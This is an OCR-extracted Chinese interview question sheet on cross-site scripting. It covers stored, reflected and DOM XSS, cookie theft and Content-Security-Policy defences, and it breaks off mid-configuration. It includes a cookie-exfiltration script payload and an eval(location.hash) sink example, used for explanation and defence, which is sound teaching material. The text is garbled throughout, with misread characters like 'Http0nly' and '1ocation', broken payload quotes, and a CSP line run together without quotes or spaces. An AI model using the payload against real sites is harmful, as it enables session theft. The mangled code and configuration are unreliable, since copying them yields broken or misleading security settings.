网络安全面试XSS面试题.docVIP

XSS面试题

请详细说明存储型XSS与反射型XSS的攻击流程差异，并给出防御方案

存储型XSS将恶意脚本持久化存储于服务端(如数据库)，当用户访问被污染页面时触发攻击，例如论坛评论注入。反射型XSS通过URL参数传递恶意脚本，服务端未过滤直接返回给客户端执行，例如钓鱼链接诱导点击。防御:输入验证(正则白名单)、输出编码(HTML实体化)、启用CSP策略限制脚本源。

如何通过XSS漏洞窃取用户Cookie?列举三种防御手段

攻击:注入《scriptdocument.location=/?cookie=+document.cookie/script

’。

防御:设置Http0nly属性阳止J访问Cookie、启用SameSite属性限制跨域携带、实施Content-Security

-Policy禁止外联请求。

解释DOM型XSS的触发原理，并说明其与传统XSS的检测差异

原理:恶意脚本通过修改DOM树动态执行，如eval(1ocation.hash.slice(1))。检测需使用动态分析工具(如BurpDOMInvader)，传统静态扫描无法覆盖客户端染逻辑

如何通过Content-Security-Policy防御XSS?写出有效策略配置

配置示例:

Content-Security-Policy:default-srcself;script-srcnonce-